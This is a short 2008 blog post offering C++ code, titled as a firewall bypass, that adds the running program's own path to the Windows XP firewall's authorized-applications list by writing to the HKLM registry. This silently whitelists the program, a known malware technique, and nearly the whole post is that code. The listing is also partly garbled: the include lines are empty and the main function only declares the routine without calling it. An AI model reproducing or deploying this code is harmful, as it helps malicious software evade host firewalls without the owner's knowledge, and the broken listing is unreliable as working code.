welcome to netwrkspider

Tuesday, October 28, 2008

BY_pass the fireWall c++ code by "netwrkspider"

#define WIN32_LEAN_AND_MEAN
#include
#include
#include
#include
using namespace std;

void AddException(string path)
{
HKEY hk;
DWORD dw;
string skey = path + ":*:Enabled:@xpsp2res.dll,-22019";

RegCreateKeyExA(HKEY_LOCAL_MACHINE,"SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List", 0,
NULL,REG_OPTION_NON_VOLATILE,KEY_WRITE,NULL,&hk,&dw);
RegSetValueExA
(
hk,
path.c_str(),
0,
REG_SZ,
(BYTE*)skey.c_str(),
(DWORD)skey.length()
);
RegCloseKey(hk);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char* CmdLineA, *Location;

CmdLineA = GetCommandLineA();
Location = CmdLineA + 1;
Location[strlen(Location)-2] = 0;
AddException(Location);
}
int main( )
{
void AddException(string path);
getch( );
}

No comments: